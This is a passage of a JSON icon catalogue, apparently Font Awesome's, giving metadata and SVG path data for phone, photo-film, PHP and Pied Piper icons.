150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z"
      }
    },
    "free": ["brands"]
  },
  "phone": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4de", "1f57b"],
        "secondary": ["10f095"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Left Hand Telephone Receiver",
        "call",
        "earphone",
        "number",
        "phone",
        "receiver",
        "support",
        "telephone",
        "telephone receiver",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f095",
    "label": "Phone",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M164.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C12.1 30.2 0 46 0 64C0 311.4 200.6 512 448 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L304.7 368C234.3 334.7 177.3 277.7 144 207.3L193.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M164.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C12.1 30.2 0 46 0 64C0 311.4 200.6 512 448 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L304.7 368C234.3 334.7 177.3 277.7 144 207.3L193.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96z"
      }
    },
    "free": ["solid"]
  },
  "phone-flip": {
    "aliases": {
      "names": ["phone-alt"],
      "unicodes": {
        "composite": ["1f57d"],
        "secondary": ["10f879"]
      }
    },
    "changes": [
      "5.9.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Right Hand Telephone Receiver",
        "call",
        "earphone",
        "number",
        "support",
        "telephone",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f879",
    "label": "Phone Flip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M347.1 24.6c7.7-18.6 28-28.5 47.4-23.2l88 24C499.9 30.2 512 46 512 64c0 247.4-200.6 448-448 448c-18 0-33.8-12.1-38.6-29.5l-24-88c-5.3-19.4 4.6-39.7 23.2-47.4l96-40c16.3-6.8 35.2-2.1 46.3 11.6L207.3 368c70.4-33.3 127.4-90.3 160.7-160.7L318.7 167c-13.7-11.2-18.4-30-11.6-46.3l40-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M347.1 24.6c7.7-18.6 28-28.5 47.4-23.2l88 24C499.9 30.2 512 46 512 64c0 247.4-200.6 448-448 448c-18 0-33.8-12.1-38.6-29.5l-24-88c-5.3-19.4 4.6-39.7 23.2-47.4l96-40c16.3-6.8 35.2-2.1 46.3 11.6L207.3 368c70.4-33.3 127.4-90.3 160.7-160.7L318.7 167c-13.7-11.2-18.4-30-11.6-46.3l40-96z"
      }
    },
    "free": ["solid"]
  },
  "phone-slash": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f3dd"]
      }
    },
    "changes": [
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "call",
        "cancel",
        "earphone",
        "mute",
        "number",
        "support",
        "telephone",
        "voice"
      ]
    },
    "styles": ["solid"],
    "unicode": "f3dd",
    "label": "Phone Slash",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M228.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C76.1 30.2 64 46 64 64c0 107.4 37.8 206 100.8 283.1L9.2 469.1c-10.4 8.2-12.3 23.3-4.1 33.7s23.3 12.3 33.7 4.1l592-464c10.4-8.2 12.3-23.3 4.1-33.7s-23.3-12.3-33.7-4.1L253 278c-17.8-21.5-32.9-45.2-45-70.7L257.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96zm96.8 319l-91.3 72C310.7 476 407.1 512 512 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L368.7 368c-15-7.1-29.3-15.2-43-24.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M228.9 24.6c-7.7-18.6-28-28.5-47.4-23.2l-88 24C76.1 30.2 64 46 64 64c0 107.4 37.8 206 100.8 283.1L9.2 469.1c-10.4 8.2-12.3 23.3-4.1 33.7s23.3 12.3 33.7 4.1l592-464c10.4-8.2 12.3-23.3 4.1-33.7s-23.3-12.3-33.7-4.1L253 278c-17.8-21.5-32.9-45.2-45-70.7L257.3 167c13.7-11.2 18.4-30 11.6-46.3l-40-96zm96.8 319l-91.3 72C310.7 476 407.1 512 512 512c18 0 33.8-12.1 38.6-29.5l24-88c5.3-19.4-4.6-39.7-23.2-47.4l-96-40c-16.3-6.8-35.2-2.1-46.3 11.6L368.7 368c-15-7.1-29.3-15.2-43-24.3z"
      }
    },
    "free": ["solid"]
  },
  "phone-volume": {
    "aliases": {
      "names": ["volume-control-phone"],
      "unicodes": {
        "secondary": ["10f2a0"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.0.3",
      "5.7.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "call",
        "earphone",
        "number",
        "sound",
        "support",
        "telephone",
        "voice",
        "volume-control-phone"
      ]
    },
    "styles": ["solid"],
    "unicode": "f2a0",
    "label": "Phone Volume",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M280 0C408.1 0 512 103.9 512 232c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-101.6-82.4-184-184-184c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32-72c0-13.3 10.7-24 24-24c75.1 0 136 60.9 136 136c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-48.6-39.4-88-88-88c-13.3 0-24-10.7-24-24zM117.5 1.4c19.4-5.3 39.7 4.6 47.4 23.2l40 96c6.8 16.3 2.1 35.2-11.6 46.3L144 207.3c33.3 70.4 90.3 127.4 160.7 160.7L345 318.7c11.2-13.7 30-18.4 46.3-11.6l96 40c18.6 7.7 28.5 28 23.2 47.4l-24 88C481.8 499.9 466 512 448 512C200.6 512 0 311.4 0 64C0 46 12.1 30.2 29.5 25.4l88-24z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M280 0C408.1 0 512 103.9 512 232c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-101.6-82.4-184-184-184c-13.3 0-24-10.7-24-24s10.7-24 24-24zm8 192a32 32 0 1 1 0 64 32 32 0 1 1 0-64zm-32-72c0-13.3 10.7-24 24-24c75.1 0 136 60.9 136 136c0 13.3-10.7 24-24 24s-24-10.7-24-24c0-48.6-39.4-88-88-88c-13.3 0-24-10.7-24-24zM117.5 1.4c19.4-5.3 39.7 4.6 47.4 23.2l40 96c6.8 16.3 2.1 35.2-11.6 46.3L144 207.3c33.3 70.4 90.3 127.4 160.7 160.7L345 318.7c11.2-13.7 30-18.4 46.3-11.6l96 40c18.6 7.7 28.5 28 23.2 47.4l-24 88C481.8 499.9 466 512 448 512C200.6 512 0 311.4 0 64C0 46 12.1 30.2 29.5 25.4l88-24z"
      }
    },
    "free": ["solid"]
  },
  "photo-film": {
    "aliases": {
      "names": ["photo-video"],
      "unicodes": {
        "secondary": ["10f87c"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["av", "film", "image", "library", "media"]
    },
    "styles": ["solid"],
    "unicode": "f87c",
    "label": "Photo Film",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767342,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M256 0H576c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H256c-35.3 0-64-28.7-64-64V64c0-35.3 28.7-64 64-64zM476 106.7C471.5 100 464 96 456 96s-15.5 4-20 10.7l-56 84L362.7 169c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h80 48H552c8.9 0 17-4.9 21.2-12.7s3.7-17.3-1.2-24.6l-96-144zM336 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM64 128h96V384v32c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V384H512v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zm8 64c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V312c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H72zm336 16v16c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H424c-8.8 0-16 7.2-16 16z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M256 0H576c35.3 0 64 28.7 64 64V288c0 35.3-28.7 64-64 64H256c-35.3 0-64-28.7-64-64V64c0-35.3 28.7-64 64-64zM476 106.7C471.5 100 464 96 456 96s-15.5 4-20 10.7l-56 84L362.7 169c-4.6-5.7-11.5-9-18.7-9s-14.2 3.3-18.7 9l-64 80c-5.8 7.2-6.9 17.1-2.9 25.4s12.4 13.6 21.6 13.6h80 48H552c8.9 0 17-4.9 21.2-12.7s3.7-17.3-1.2-24.6l-96-144zM336 96a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM64 128h96V384v32c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V384H512v64c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V192c0-35.3 28.7-64 64-64zm8 64c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V312c0-8.8-7.2-16-16-16H72zm0 104c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16H88c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H72zm336 16v16c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V416c0-8.8-7.2-16-16-16H424c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["solid"]
  },
  "php": {
    "changes": ["5.0.5"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f457",
    "label": "PHP",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper": {
    "changes": ["4.6.0", "5.0.0", "5.0.10", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2ae",
    "label": "Pied Piper Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 480 512\"><path d=\"M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z\"/></svg>",
        "viewBox": [0, 0, 480, 512],
        "width": 480,
        "height": 512,
        "path": "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper-alt": {
    "changes": ["4.1.0", "5.0.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a8",
    "label": "Alternate Pied Piper Logo (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper-hat": {
    "changes": ["5.0.10"],
    "ligatures": [],
    "search": {
      "terms": ["clothing"]
    },
    "styles": ["brands"],
    "unicode": "f4e5",
    "label": "Pied Piper Hat (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z"
      }
    },
    "free": ["brands"]
  },
  "pied-piper-pp": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a7",
    "label": "Pied Piper PP Logo (Old)",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
